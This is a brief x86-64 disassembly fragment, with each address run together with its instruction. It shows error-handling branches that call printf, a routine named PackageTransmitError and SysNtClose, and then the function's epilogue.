140021ff6mov [rsp+32], eax
140021ffalea rcx, [rip+31563]
140022001
140022001loc_140022001:
140022001call printf
140022006mov ecx, esi
140022008call [rbp+348]
14002200emov ecx, 1
140022013mov edx, eax
140022015call PackageTransmitError
14002201amov rcx, rbx
14002201dcall SysNtClose
140022022jmp 0x14002205f
140022024
140022024loc_140022024:
140022024mov rbx, [rip+41797]
14002202bmov rdx, rdi
14002202elea rcx, [rip+31568]
140022035mov r8l, 463
14002203bmov rax, [rbx+2230]
140022042mov r9l, [rax+104]
140022046call printf
14002204bmov rax, [rbx+2230]
140022052mov ecx, 1
140022057mov edx, [rax+104]
14002205acall PackageTransmitError
14002205f
14002205floc_14002205f:
14002205fxor eax, eax
140022061
140022061loc_140022061:
140022061add rsp, 80
140022065pop rbx
140022066pop rsi
140022067pop rdi
140022068pop rbp
140022069pop r12
14002206bret
140021ef0